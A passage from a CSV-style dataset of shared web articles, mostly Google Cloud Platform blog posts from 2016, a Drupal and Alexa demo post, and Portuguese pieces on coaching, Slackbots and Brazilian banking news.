que, agindo desta maneira, se torna um gargalo para o desempenho e aprendizado da equipe. Coaching e feedback frequentes são mais poderosos do que as avaliações de desempenho tradicionais que são realizadas apenas uma ou duas vezes por ano. Diante de tantos cursos, textos, propagandas, certificações etc ... é fácil ficar confuso com o que é coaching. Que tal começar lendo este livro? Coaching não é dar conselhos ou resolver problemas, mas saber fazer as perguntas certas para ajudar o coachee a encontrar sua maneira de superar um obstáculo. Dedique mais tempo a ouvir para que encontre ele mesmo suas soluções. O resultado valerá a pena. E você trabalhará menos. Como? Comece perguntando: ""Porque você veio me procurar?"" - assim você define o foco da conversa. Siga com: ""O que mais?"" - explore um pouco pois raramente a primeira resposta é a verdadeira razão. Depois foque novamente: ""Qual seu verdadeiro desafio?"" - a real dificuldade ficará explícita e, se houver, o seu papel na solução também. Esse é apenas o início de uma fórmula simples para transformar qualquer conversa. Aprenda com The Coaching Habit: coaching é uma atitude. E você pode ser coach de sua equipe, pares, chefe e de você mesmo. * Este artigo é de autoria de Marcelo Nóbrega (diretor de recursos humanos da Arcos Dourados) e não representa necessariamente a opinião da revista",pt
1464880100,CONTENT SHARED,-8282357075607822317,3891637997717104548,4240699853832706755,,,,HTML,http://buytaert.net/cross-channel-user-experiences-with-drupal,Cross-channel user experiences with Drupal (awesome video demo!),"Last year around this time, I wrote that The Big Reverse of Web would force a major re-architecture of the web to bring the right information, to the right person, at the right time, in the right context. I believe that conversational interfaces like Amazon Echo are further proof that the big reverse is happening. New user experience and distribution platforms only come along every 5-10 years, and when they do, they cause massive shifts in the web's underlying technology. The last big one was mobile, and the web industry adapted. Conversational interfaces could be the next user experience and distribution platform - just look at Amazon Echo (aka Alexa), Facebook's messenger or Microsoft's Conversation-as-a-Platform . Today, hardly anyone questions whether to build a mobile-optimized website. A decade from now, we might be saying the same thing about optimizing digital experiences for voice or chat commands. The convenience of a customer experience will be a critical key differentiator. As a result, no one will think twice about optimizing their websites for multiple interaction patterns, including conversational interfaces like voice and chat. Anyone will be able to deliver a continuous user experience across multiple channels, devices and interaction patterns. In some of these cross-channel experiences, users will never even look at a website. Conversational interfaces let users disintermediate the website by asking anything and getting instant, often personalized, results. To prototype this future, my team at Acquia built a fully functional demo based on Drupal 8 and recorded a video of it. In the demo video below , we show a sample supermarket chain called Gourmet Market. Gourmet Market wants their customers to not only shop online using their website, but also use Echo or push notifications to do business with them. We built an Alexa integration module to connect Alexa to the Gourmet Market site and to answer questions about sale items. For example, you can speak the command: ""Alexa, ask Gourmet Market what fruits are on sale today"". From there, Alexa would make a call to the Gourmet Market website, finding what is on sale in the specified category and pull only the needed information related to your ask. On the website's side, a store manager can tag certain items as ""on sale"", and Alexa's voice responses will automatically and instantly reflect those changes. The marketing manager needs no expertise in programming -- Alexa composes its response by talking to Drupal 8 using web service APIs. The demo video also shows how a site could deliver smart notifications. If you ask for an item that is not on sale, the Gourmet Market site can automatically notify you via text once the store manager tags it as ""On Sale"". From a technical point of view, we've had to teach Drupal how to respond to a voice command, otherwise known as a ""Skill"", coming into Alexa. Alexa Skills are fairly straightforward to create. First, you specify a list of ""Intents"", which are basically the commands you want users to run in a way very similar to Drupal's routes. From there, you specify a list of ""Utterances"", or sentences you want Echo to react to that map to the Intents. In the example of Gourmet Market above, the Intents would have a command called GetSaleItems . Once the command is executed, your Drupal site will receive a webhook callback on /alexa/callback with a payload of the command and any arguments. The Alexa module for Drupal 8 will validate that the request really came from Alexa, and fire a Drupal Event that allows any Drupal module to respond. It's exciting to think about how new user experiences and distribution platforms will change the way we build the web in the future . As I referenced in Drupalcon New Orleans keynote , the Drupal community needs to put some thought into how to design and build multichannel customer experiences. Voice assistance, chatbots or notifications are just one part of the greater equation. If you have any further thoughts on this topic, please share them in the comments.",en
1464881876,CONTENT SHARED,-5313466754735123256,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/introducing-Google-Container-Engine-GKE-node-pools.html,Introducing Google Container Engine (GKE) node pools,"Editor's note: Updated May 27, 2016 with guidance on running nodes in multiple zones. Google Container Engine (GKE) aims to be the best place to set up and manage your Kubernetes clusters. When creating a cluster, users have always been able to select options like the nodes' machine type, disk size, etc. but that applied to all the nodes, making the cluster homogenous. Until now, it was very difficult to have a cluster with a heterogeneous machine configuration. That's where node pools come in, a new feature in Google Container Engine that's now generally available. A node pool is simply a collection, or ""pool,"" of machines with the same configuration. Now instead of a uniform cluster where all the nodes are the same, you can have multiple node pools that better suit your needs. Imagine you created a cluster composed of n1-standard-2 machines, and realize that you need more CPU. You can now easily add a node pool to your existing cluster composed of n1-standard-4 (or bigger) machines. All this happens through the new ""node-pools"" commands available via the gcloud command line tool . Let's take a deeper look at using this new feature. Creating your cluster A node pool must belong to a cluster and all clusters have a default node pool named ""default-pool"". So, let's create a new cluster (we assume you've set the project and zone defaults in gcloud): Like before, you can still specify some node configuration options, like ""--machine-type"" to specify a machine type, or ""--num-nodes"" to set the initial number of nodes. Creating a new node pool Once the cluster has been created, you can see its node pools with the new ""node-pools"" top level object (Note: You may need to upgrade your gcloud commands via ""gcloud components update"" to use these new options.). Notice that you must now specify a new parameter, ""--cluster"". Recall that node pools belong to a cluster, so you must specify the cluster with which to use node-pools commands. You can also set it as the default in config by calling: Also, if you have an existing cluster on GKE, your clusters will have been automatically migrated to ""default-pool,"" with the original cluster node configuration. Let's create a new node pool on our ""work"" with a custom machine type of 2 CPUs and 12 GB of RAM: This creates a new node pool with 4 nodes, using custom machine VMs and 200 GB boot disks. Now, when you list your node pools, you get: And if you list the nodes in kubectl: With Kubernetes 1.2, the nodes on each node pool are also automatically assigned the node label, ""cloud.google.com/gke-nodepool= "". With node labels, it's possible to have heterogeneous nodes within your cluster, and schedule your pods into the specific nodes that meet their needs. Perhaps a set of pods need a lot of memory - allocate a high-mem node pool and schedule them there. Or perhaps they need more local disk space - assign them to a node pool with a lot of local storage capacity. More configuration options for nodes are being considered. More fun with node pools There are also other, more advanced scenarios for node pools. Suppose you want to upgrade the nodes in your cluster to the latest Kubernetes release, but need finer grained control of the transition (e.g., to perform A/B testing, or to migrate the pods slowly). When a new release of Kubernetes is available on GKE, simply create a new node pool; all node pools have the same version as the cluster master, which will be automatically updated to the latest Kubernetes release. Here's how to create a new node pool with the appropriate version: You can now go to ""kubectl"" and update your replication controller to schedule your pods with the label selector ""cloud.google.com/gke-nodepool=my-1-2-4-pool"". Your pods will then be rescheduled from the old nodes to the new pool nodes. After the verifications are complete, continue the transition with other pods, until all of the old nodes are effectively empty. You can then delete your original node pool: And voila, all of your pods are now running on nodes running the latest version of Kubernetes! Node pools across multiple zones Many customers have requested the ability to run nodes in multiple zones to improve the availability of their application in the unlikely event of a zone outage. Node pools support multi-zone clusters automatically. To create a multi-zone cluster, pass the ""--additional-zones"" flag to gcloud and specify one or more zones within the same region of your cluster: If you create additional node pools, they'll automatically span all of the zones in your cluster, so nodes will be created in those additional zones as well. Note that the ""--num-nodes"" option is per zone, and due to the multiplicative effect in the total number of nodes created, be aware that you may hit your quota limits. When you list your nodes in the Kubernetes API, you'll see that they span all of the zones you specifed, and are automatically labeled with ""failure-domain.beta.kubernetes.io/zone"": Conclusion The new node pools feature in GKE enables more powerful and flexible scenarios for your Kubernetes clusters. As always, we'd love to hear your feedback and help guide us on what you'd like to see in the product.",en
1464882164,CONTENT SHARED,2301338403202434417,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/top-10-GCP-sessions-from-Google-IO-2016.html,Top 10 GCP sessions from Google I/O 2016,"In-between daydreaming about virtual reality and saying Allo to Duo , there were some fantastic Google Cloud Platform sessions and demos at Google I/O this year. In case you weren't able to attend the show, here are the recordings. In One Lap Around Google Cloud Platform , developer advocate Mandy Waite , and Brad Abrams walk through the process of building a Node.js backend for an iOS and Android based game. Easily the best bit of the session is a demo that uses Kubernetes and GCP Container Registry to deploy a Docker container to App Engine Flexible Environment , Google Container Engine and an AWS EC2 instance . It's a simple demo of portability across clouds, a key differentiator for GCP. Speaking of multi-cloud environments, developer advocate Aja Hammerly presented a great session on Stackdriver , called Just Enough Stackdriver To Sleep Well At Night , which will be music to the ears for any of you who have to carry a pager to support your site or application. In a nutshell, Aja shows how Stackdriver unifies a bunch of different monitoring and management tools into a single solution. If you've made the leap to containers or are thinking about it, you'll want to check Carter Morgan's session: Best practices for orchestrating the cloud with Kubernetes . This session includes the basics of modern day applications and how containers work. It also covers packaging and distributing apps using Docker and how to up your game by running applications on Kubernetes. Next, IoT ideas are a dime a dozen, but bringing them to life is another story. In Making sense of IoT data with the cloud , developer advocate Ian Lewis shows how you can manage a large number of devices on GCP and how to ingest, store and analyze the data from those devices. In Supercharging Firebase with Google Cloud Platform developer advocates Sandeep Dinesh and Bret McGowen use Firebase to build a real-time game that interacts with virtual machines, big data and machine learning APIs on GCP. The coolest part of the demo involves the audience in the room and on the livestream interacting with the game via Speech API, all yelling instructions at the same time to move a dot through a maze. The hallmark of Firebase - real-time data synchronization across connected devices in milliseconds - is on display here and fun to see. For more Firebase tips and tricks check out Creating interactive multiplayer experiences with Firebase , from developer advocate Mark Mandel . Switching gears to big data and the upcoming U.S. presidential election, developer advocate Felipe Hoffa and software engineer Jordan Tigani , demo the power of Google BigQuery to uncover some intriguing campaign insights in Election 2016: The Big Data Showdown . You'll learn which candidate is spending the most money and how efficient that spending is relative to their mentions on TV, by mashing together various different public datasets in BigQuery. Felipe and Jordan do a nice job showing us how BigQuery can separate the signal from the noise to figure out what it all means. Figuring out the right storage for each application in your business can be a daunting task on the cloud. Dominic Preuss , group product manager, explains how in Scaling your data from concept to petabytes . And of course, no event that includes Cloud Platform is complete without demos from developer advocates Kaz Sato on How to build a smart RasPi bot with Cloud Vision and Speech API , and another crowd-pleaser, Google Cloud Spin: Stopping time with the power of Cloud , from Francesc Campoy Flores . To find more tutorials, talks and demos on GCP beyond the sessions at I/O this year, check out our GCP YouTube channel and weekly podcast , and follow @GoogleCloud on Twitter for all the latest news and product announcements from the Cloud Platform team.",en
1464883005,CONTENT SHARED,4604014376318271136,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/big-data-big-differentiators-this-week-on-Google-Cloud-Platform.html,"Big data, big differentiators: this week on Google Cloud Platform","Sometimes, when doing a roundup of the week's news, no clear theme emerges, and you're left with a disjointed list of unrelated tidbits. That wasn't a problem this week; both on this blog and in the Google Cloud Platform world at large, people had big data and analytics on the brain. The week started out with a bang, with big data consultancy Mammoth Data releasing the results of a benchmark test comparing Google Cloud Dataflow with Apache Spark . Google's data processing service did really well, outperforming Spark by two to five times, depending on the number of cores in the test. Cloud Dataflow is a paid service, of course, but the platform's API was recently accepted as an incubator project with the Apache Software Foundation, under Apache Beam. The rationale, according to Tyler Akidau, Google staff software engineer for Apache Beam, is to ""provide the world with an easy-to-use, but powerful model for data-parallel processing, both streaming and batch, portable across a variety of runtime platforms."" You can read Tyler's full post here . Data Artisan's Kostas Tzoumas also provides his organization's take , and the relationship of Apache Beam to Apache Flink. We were also treated with the next installment of big data guru Mark Litwintschik' s ""A billion taxi rides"" series, in which he analyzes data about 1.1 billion taxi and Uber rides in NYC against different data analytics tools. Up this week: Mark schooled us on how he got 33x Faster Queries on Google Cloud Dataproc ; the Performance Impact of File Sizes on Presto Query Times ; and how to build a 50-node Presto Cluster on Google Cloud's Dataproc. If that's not enough for you, be sure to register for a joint webinar with Bitnami, ""Visualizing Big Data with Big Money"" that uses election data from the Center for Responsive Politics. Using Google BigQuery and the open-source Re:Dash data visualization tool, citizens will be able to grok the enormity of this country's campaign finance problems depressingly fast.",en
1464883060,CONTENT SHARED,-8259953995965151136,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/how-Kubernetes-takes-container-workload-portability-to-the-next-level.html,How Kubernetes takes container workload portability to the next level,"Developers love application containers and the Docker and Rocket package formats, because of the package-once, run-anywhere experience that simplifies their jobs. But even the easiest-to-use technologies can spiral out of control and become victims of their own success. Google knows this all too well. With our own internal systems, we realized a long time ago that the most efficient way to share compute resources was containers, and the only way to run containers at scale is to use automation and orchestration. And so we developed Cgroups , which we donated to the Linux Foundation to help establish the container ecosystem, and what we affectionately call Borg, our cluster management system. Flash forward to the recent rise of containers, and it occurred to us that developers at large could benefit from the service discovery, configuration and orchestration that Borg provides, to simplify building and running multi-node container-based applications. Thus Kubernetes was born, an open-source derivative of Borg that anyone can use to manage their container environment. Earlier this year, we transferred the Kubernetes IP to the Cloud Native Computing Foundation. Under the auspices of the CNCF, members such as IBM, Docker, CoreOS, Mesosphere, Red Hat and VMware work alongside Google to ensure that Kubernetes works not just in Google environments, but in whatever public or private cloud an organization may choose. What does that mean for container-centric shops? Kubernetes builds on the workload portability that containers provide, by helping organizations to avoid getting locked into any one cloud provider. Today, you may be running on Google Container Engine , but there may come a time when you wish you could take advantage of IBM's middleware. Or you may be a longtime AWS shop, but would love to use Google Cloud Platform 's advanced big data and machine learning. Or you're on Microsoft Azure today for its ability to run .Net applications, but would like to take advantage of existing in-house resources running OpenStack. By providing an application-centric API on top of compute resources, Kubernetes helps realize the promise of multi-cloud scenarios. If running across more than one cloud is in your future, choosing Kubernetes as the basis of your container orchestration strategy makes sense. Today, most of the major public cloud providers offer container orchestration and scheduling as a service. Our offering, Google Container Engine, or GKE, is based on Kubernetes and by placing Kubernetes in the hands of the CNCF, our goal is to ensure that your applications will run on any Kubernetes implementation that a cloud provider may offer - or that you run yourself. Even today, it's possible to run Kubernetes on any cloud environment of your choosing. Don't believe us? Just look at CoreOS Tectonic, which runs on AWS, or Kubernetes for Microsoft Azure . Stay tuned for a tutorial about how to set up and run Kubernetes to run multi-cloud applications, or get started right away with a free trial .",en
1464883264,CONTENT SHARED,-9064100704535292718,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/Stackdriver-Trace-for-App-Engine-is-GA-app-latency-has-nowhere-to-hide.html,Stackdriver Trace for App Engine is GA; app latency has nowhere to hide,"At Google we're always obsessed with speed, in our products and on the web. Faster sites create happy users and improve engagement. Faster sites also reduce operating costs . Like us, Google Cloud Platform customers place a lot of value in speed - that's why we decided to externalize some of the tools that Google engineers use to optimize sites, including Stackdriver Trace . A member of the Google Stackdriver family, Stackdriver Trace is now generally available for Google App Engine which receives over 100B requests per day. Stackdriver Trace automatically analyzes each of your applications running on GAE to identify performance bottlenecks and emergent issues. Impact of latency on application Stackdriver Trace provides detailed insight into your application's run time performance and latency in near real-time. The service continuously evaluates data from each traced request and checks for patterns that indicate performance bottlenecks. To remove the operational overhead for performance analysis, Stackdriver Trace automatically analyzes your application's performance over time. You can also create reports to evaluate your application's latency across versions or releases. With the Latency shift detection feature, the service evaluates each of the reports to evaluate if there has been a significant shift in latency over time. The Stackdriver Trace API can be used to add custom spans to a trace. A span represents a unit of work within a trace, such as an RPC request or a section of code. For custom workloads, you can define your custom start and end of a span using the Stackdriver Trace SDK. This data is uploaded to Stackdriver Trace, where you can leverage all the Trace Insights and Analytics features mentioned above. Trace is already integrated with other Stackdriver tools such as monitoring, logs, error reporting and debugger. Today Trace works seamlessly across your distributed environment, and supports all language runtimes on the App Engine platform. Stay tuned for Trace coverage for other GCP platforms. Get started today We're looking forward to this next step for Google Cloud Platform as we continue to help developers and businesses everywhere benefit from Google's technical and operational expertise in application performance. Please visit Stackdriver Trace to learn more and contact us with your feedback and ideas.",en
1464883332,CONTENT SHARED,-4977928818612291634,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/how-to-get-your-ASP-NET-app-up-on-Google-Cloud-the-easy-way.html,How to get your ASP.NET app up on Google Cloud the easy way,"Don't let anyone tell you that Google Cloud Platform doesn't support a wide range of platforms and programming languages. We kicked things off with Python and Java on Google App Engine, then PHP and Go. Now, we support .NET framework on Google Compute Engine . Google recently published a . NET client library for services like Google Cloud Datastore and Windows virtual machines running on Compute Engine. With those pieces in place, it's now possible to run an ASP.NET application directly on Cloud Platform. To get you up and running fast, we published two new tutorials that show you how to build and deploy ASP.NET applications to Cloud Platform. The Hello World tutorial shows you how to deploy an ASP.NET application to Compute Engine. The Bookshelf tutorial shows you how to build an ASP.NET MVC application that uses a variety Cloud Platform services to make your application reliable, scaleable and easy to maintain. First, it shows you how to store structured data with .NET. Do you love SQL? Use Entity Framework to store structured data in Cloud SQL. Tired of connection strings and running ALTER TABLE statements? Use Cloud Datastore to store structured data. The tutorial also shows you how to store binary data and run background worker tasks. Give the tutorials a try, and please share your feedback! And don't think we're done yet - this is just the beginning. Among many efforts, we're hand-coding open source libraries so that calling Google APIs feels familiar to .NET programmers. Stay tuned for more on running ASP.NET applications on Google Cloud Platform.",en
1464883538,CONTENT SHARED,-6566328419164841526,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/feeding-10-billion-people-with-cloud-computing-Land-O-Lakes-Inc-moves-to-Google-Cloud-Platform.html,"Feeding 10 billion people with cloud computing: Land O'Lakes, Inc. moves to Google Cloud Platform","In 2050, the world's population will require farms to feed upwards of 10 billion people. This means one farmer will need to feed 250 people. That's 61 percent more than a farmer feeds today. To meet this exploding demand, Land O'Lakes, Inc. is turning to the cloud to revolutionize modern farming. This is coming to life through Land O'Lakes' WinField brand, a leading provider of agricultural solutions. Using Google Cloud Platform , they're launching the WinField Data Silo™, a cloud-based application to help farmers make better, data-driven decisions. Farmers make dozens of important decisions throughout their crop's growing cycle from when to plant seeds, to where and how much to water and fertilize. Traditionally, these decisions have largely been based on intuition. But with cloud-based, big data tools that can capture, ingest and analyze data from multiple sources simultaneously, farmers can access precise information to optimize their yields. To improve decision-making tools for farmers, Land O'Lakes built the Data Silo, a cloud-native system that connects farmers with data. Data Silo is a data collection application that ingests, stores and shares information between farmers, retailers, and third-party providers. It connects previously disparate systems, letting users quickly share information about crops and farm operations. With it, farmers can easily upload data to the platform, build dashboards and search for information. In return, they receive guidance on agronomic best practices, such as which crop to grow in a particular field, while maintaining control over who owns and accesses the data. Land O'Lakes worked with Google Cloud Platform Technology Partner, Cloud Technology Partners , to develop Data Silo from the ground up. In a first phase, CTP worked with Google App Engine and Google Cloud SQL to build a working prototype within weeks of starting the project. Eventually, Land O'Lakes migrated Data Silo to Google Compute Engine to run its web-based PHP application, power the mobile and web-based interfaces and integrate with existing monitoring and security systems. In addition, it implemented the PostgreSQL database and PostGIS libraries to run complex GIS functions. A key differentiator for Cloud Platform is its geospatial sophistication. By integrating with the Google Maps API , Land O'Lakes is able to present Data Silo users with geospatial data overlaid with labels that are meaningful to them, on their mobile devices or desktops. Users can sort and view the data according to user-definable views such as type of crop, growing periods and yields. Maps update in real-time, along with any new data that users upload to the system. Google Cloud Platform features also present unique possibilities for Land O'Lakes and Data Silo. Today, it functions primarily as a place for growers to store and share data about their farming operations. Tomorrow, Data Silo could evolve into a data hub for a variety of agricultural applications, for example, using Google Pub/Sub for data integration, or Google BigQuery and Google Cloud Bigtable to perform analytics that further drive crop yields. Over the past 50 years, Land O'Lakes has grown and adapted to the changing needs of more than 300,000 farmers. To help them produce more food, with fewer resources and less environmental impact, the company is investing millions of dollars in new technology. Having a flexible, secure cloud that can easily scale, is critical to Land O'Lakes' ability to launch today's Data Silo technology and future innovation. To hear more about how Land O'Lakes implemented Google Cloud Platform, watch their technical session at GCP NEXT.",en
1464883904,CONTENT SHARED,-1254906787526072320,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/enterprise-developers-look-out-this-week-on-Google-Cloud-Platform.html,Enterprise developers look out: this week on Google Cloud Platform,"With all eyes trained on Google I/O , our annual developer show, Google Cloud Platform took the opportunity to share some of our secret sauce on why GCP is the best possible cloud on which to build and run enterprise applications. From the stealthy Tensor Processing Unit (TPU) , a custom chip to power machine learning apps, to new Firebase integrations with GCP , the industry default mobile backend-as-service, to new APIs for Sheets and Slides - it's hard to keep your hands off this stuff if you have an inclination to build the next big thing in the enterprise. In other news, did you know that GCP now recommends a container-optimized OS image based on Chromium OS - the open-source version of Chrome OS? With Container-VM Image, GCP users gain better control over build management, security and compliance and customizations for services such as Google Compute Engine's metadata framework and image packages , the Docker runtime and Kubernetes. Currently in beta, here's some helpful documentation on how to get started. Running containerized workloads may be the next big thing, but GCP customers still spend a lot of time and energy sending out email. A lot of email. To recipients all over the world. For those users with European customers, email marketing firm Mailjet announced this week that several of its services can be accessed directly from Google Compute Engine and Google App Engine . Furthermore, thanks to servers located on the Old Continent, it's fully compliant with U.S. as well as European Union privacy regulations. Whether you pronounce it /ˈpɹɪv.ə.si/ or ˈpɹaɪ.və.si/, Mailjet and GCP have got you covered. Indeed, with cloud services, location is almost as important as the service itself. Data Center Knowledge gives us a great Q&A with Google vice president of datacenter operations Joe Kava in which he talks about GCP's plans to launch the new regions in the coming months, including Tokyo, and why in the cloud, it's so important to build data centers in major metropolitan areas. Check back next week for our highlights reel of the best Cloud Platform sessions and demos from Google I/O.",en
1464889085,CONTENT SHARED,8685746777792503843,3891637997717104548,4240699853832706755,,,,HTML,https://cloudplatform.googleblog.com/2016/05/machine-learning-at-the-museum-this-week-on-Google-Cloud-Platform.html,Machine learning at the museum: this week on Google Cloud Platform,"Is there a limit to what you can do with machine learning? Doesn't seem like it. At Moogfest last week, Google researchers presented about Project Magenta , which uses TensorFlow, the open-source machine learning library that we developed, to see if computers can create original pieces of art and music. Researchers have also shown that they can use TensorFlow to train systems to imitate the grand masters. With this implementation of neural style in TensorFlow, it becomes easy to render an image that looks like it was created by Vincent Van Gogh or Pablo Picasso - or a combination thereof. Take this image of Frank Gehry's Stata Center in winter, add style inputs from Van Gogh's Starry Night and a Picasso Dora Maar: and end up with: Voila! A Picasso-esque Van Gogh for 21st century! (The code for neural style was first posted to GitHub last December, but the author continues to update it and welcomes pull requests .) Or maybe fine art isn't your thing. This week, we also saw how to use TensorFlow to solve trivial programming problems , forecast demand - even predict the elections . Because TensorFlow is open source, anyone can use it, on the platform of their choice. But it's worth mentioning that running machine learning on Google Cloud Platform works especially well. You can learn more about GCP's machine learning capabilities here . And if you're doing something awesome with machine learning on GCP, we'd love to hear about it - just tweet us at @googlecloud .",en
1464890552,CONTENT SHARED,-8771338872124599367,3609194402293569455,6147896666617046192,,,,HTML,https://medium.com/coolhow-creative-lab/funcion%C3%A1rios-do-m%C3%AAs-no-coolhow-os-slackbots-32bbcc322575,Funcionários do mês no CoolHow: os Slackbots - CoolHow Creative Lab,"Funcionários do mês no CoolHow: os Slackbots Vamos ser sinceros, nem sempre é fácil mudar os costumes e adotar novas técnicas ou ferramentas. O Slack também não foi amor à primeira vista, mas hoje em dia é o queridinho do CoolHow - ainda mais depois que a Íris descobriu os bots maravilhosos da plataforma. Para os que veem o Slack ""apenas"" como uma forma de comunicação e organização, hora do mindblow: dá pra pedir Uber , falar com psicólogos de verdade, jogar Pokémon e fazer basicamente qualquer coisa nele. E hoje vamos apresentar os bots que andam nos ajudando demais. Se você precisa analisar métricas do Google Analytics , New Relic ou Mixpanel , conheça o seu novo melhor amigo: Statsbot. Com ele, você pode conectar os dados das plataformas diretamente ao Slack e pedir que o bot produza relatórios diários, semanais ou mensais. Caso você tenha várias contas, você ainda pode dividi-las em canais e ajustar para relatar apenas os dados necessários. Obrigado por existir, Statsbot! ❤ Quase uma mãe para os que vivem esquecendo as coisas, o Luno responde dúvidas de forma automática. Por exemplo: se você ou sua equipe querem ter o e-mail do cliente sempre à mão, basta inserir a pergunta ""qual é o e-mail do cliente?"" e a resposta está em sua base de dados. Da próxima vez que bater a dúvida, basta perguntar. O fofoqueiro, mas do bem. Sempre que sua empresa ou outra palavra-chave for mencionada, ele te conta na hora. Ele pesquisa, gratuitamente, menções no Twitter, Tumblr, Hacker News, Produc Hunt e Reddit, mas a versão beta está disponibilizando Google +, Instagram e YouTube, que futuramente serão pagos. Fontes como Facebook, Blogs, portais de notícia, Medium e outras plataformas (igualmente pagas) ainda serão adicionadas. Agora que você é o mestre dos bots da empresa, seja também o mais legal. Diariamente, o Humblebot dá dicas para que você se torne uma pessoa melhor. O nosso de hoje foi reconhecer alguém por algo que ele tenha feito recentemente. Bônus: Facebook Bot O And Chill não é do Slack, mas merece estar aqui. Disponível para SMS ou Facebook Messenger, o bot te ajuda a escolher o próximo filme que você assistirá. Como? Primeiro, ele pede que você cite um filme que gostou e porquê. A partir de um algorítimo secreto que seus criadores não revelaram como funciona, ele sugere alguns outros filmes. Achou bom demais para ser verdade? A galera da Tech Crunch também, e eles contam como foi colocar o bot à prova.",pt
1464892323,CONTENT SHARED,6783622248311192269,3609194402293569455,6147896666617046192,,,,HTML,http://www.infomoney.com.br/negocios/como-vender-mais/noticia/5062199/par-aliancas-impede-que-seu-parceiro-assista-netflix-sem-voce,Par de alianças impede que seu parceiro assista Netflix sem você,"SÃO PAULO - Não são poucos os casais que criaram o costume de assistir séries juntos, mesmo que nem sempre consigam manter o mesmo ritmo. Pensando em ""evitar as brigas de casais"" causadas pelo fato de o parceiro ter assistido a um episódio sozinho, a Cornetto criou um par de alianças que só permite que uma pessoa assista à Netflix se a outra estiver por perto. As alianças possuem a tecnologia NFC, mesma utilizada no Pay e meios de pagamentos móveis. Por conta dela, o aplicativo para smartphone que conecta as plataformas de streaming - Netflix, Hulu, Amazon, entre outras - permite que as séries sejam assistidas somente quando ambas as alianças estiverem próximas do celular. Caso contrário, o app é bloqueado. ""Cornetto, o sorvete que uniu casais por décadas, criou um dispositivo para prevenir a causa mais comum de brigas de casais atualmente: assistir episódios à frente de seu parceiro"", explica no site que anuncia o produto. Ainda não se sabe em quais países o produto será comercializado. No portal, os interessados podem registrar seu e-mail para ter acesso a uma espécie de pré-venda, também sem data de início definida. Confira o vídeo que mostra como as alianças devem funcionar:",pt
1464894310,CONTENT SHARED,-2899726011463496555,5660542693104786364,-6767030235092364675,,,,HTML,http://www.infomoney.com.br/bloomberg/mercados/noticia/5080642/quer-ter-banco-brasil-vai-abrir-escritorio-genebra-este-mes,XP quer ter banco no Brasil e vai abrir escritório em Genebra este mês,"SÃO PAULO - A XP Investimentos, que conta com o General Atlantic como acionista, está solicitando licença para abrir banco no e abrir um escritório em Genebra, expandindo os serviços para seus clientes da América Latina enquanto alguns competidores retraem. Uma licença bancária permitiria a empresa, com sede no Rio de Janeiro, oferecer empréstimos a juros baixos a pessoas físicas e investidores institucionais usando os investimentos de clientes da XP como garantia, disse o CEO (Chief Executive Officer) da corretora, Guilherme Benchimol, em entrevista. A contratou nove pessoas para o escritório de Genebra, que abrirá este mês para atender aos clientes latino-americanos que preferem usar uma conta offshore na Europa, eu disse. ""Já podemos oferecer aos clientes todos os tipos de fundos - ações, renda fixa, fundos de hedge - e queremos proporcionar também a conveniência de ter uma conta conosco"", disse Benchimol. A XP poderia também pensar em oferecer cartões de crédito em algum momento, disse. A XP está tentando capitalizar sobre o vazio deixado por algumas empresas internacionais que saíram do Brasil. O Citigroup Inc. disse que planeja vender o negócio de varejo no Brasil, bem como na e na Colômbia, e segurar as operações que servem aos clientes corporativose institucionais. O Deutsche Bank AG está saindo de países da América Latina como Argentina e México e cortendo cerca de metade de seus funcionários no Brasil. O HSBC Holdings Plc concordou em vender sua unidade de STI no Brasil para o Banco Bradesco SA em agosto por US$ 5,2 bilhões. As negociações do Citigroup A XP ""teve algumas conversas"" para comprar a operação de varejo do Citigroup no Brasil e ainda está interessada nos ativos, mas as negociações ""não estão evoluindo"", disse Benchimol, recusando-se a fornecer mais detalhes. O plano é começar assim que a XP receber licença para operar como banco, que Benchimol espera ser no mais tardar no próximo ano. O banco teria capital inicial de cerca de R$ 100 milhões (ou US$ 28 milhões), eu disse. Além Genebra, os escritórios de Londres e Miami do XP estão se expandindo para fornecer também serviços a clientes com patrimônio elevado, segundo Benchimol. A X P tem cerca de US$ 600 milhões de ativos sob gestão na América Latina e seu objetivo é atingir US$ 1 bilhão até o fim deste ano, disse. Em Nova York, a XP começou um negócio ""non-deliverable-forward"" (contrato a termos de moedas sem entrega física, na tradução livre do termo em inglês) em Janeiro, entrando na negociação de derivativos em mercado de balcão fora do Brasil. A empresa acabou de se mudar para um escritório maior em Manhattan para acolher os seus planos de expansão e cerca de 40 funcionários, o dobro do número no final tinha no ano passado. A XP abriu o escritório em Nova York em 2011 oferecendo fundos norte-americanos que investem no mercado brasileiro. Também atende agora a clientes latino-americanos que investem no exterior. ""Um grande foco será a nossa expansão internacional"", disse Benchimol.",pt
1464895898,CONTENT SHARED,-3275688295651945765,5660542693104786364,-6767030235092364675,,,,HTML,http://www.infomoney.com.br/mercados/acoes-e-indices/noticia/5082648/por-que-segundo-maior-banco-alemanha-decidiu-entrar-brasil-com,Por que o segundo maior banco da Alemanha decidiu entrar no Brasil com R$ 240 milhões?,"SÃO PAULO - Com a perspectiva de dias melhores para a brasileira no longo prazo, a despeito das atuais turbulências e menos de um ano depois de seu principal concorrente implementar um forte programa de restruturação, o Commerzbank anunciou nesta quinta-feira (2) o início de operações com a abertura de uma subsidiária em São Paulo. No aguardo apenas da prevista emissão de autorização pelo Banco Central, os executivos do segundo maior banco da esperam estrear no mercado brasileiro ainda em junho ou, no mais tardar, em julho, com a entrada de uma cifra entre 60 e 70 milhões de euros na economia, o que corresponde a algo entre R$ 240 e R$ 280 milhões, e 50 funcionários. Em coletiva de imprensa realizada nesta manhã, Roland Boehm, membro da diretoria do segmento corporativo responsável para a área internacional, ressaltou que a iniciativa representa uma importante etapa da estratégia de internacionalização do banco, com o objetivo da iniciativa é dar apoio a empresas alemãs e europeias que operam no Brasil, assim como acompanhar companhias latino-americanas de médio e grande porte no ingresso ao mercado europeu. ""O País continua sendo a sétima maior economia do mundo. E especialmente em tempos de volatilidade dos mercados, é importante que o segmento de Corporate Banking do Commerzbank também esteja disponível a seus 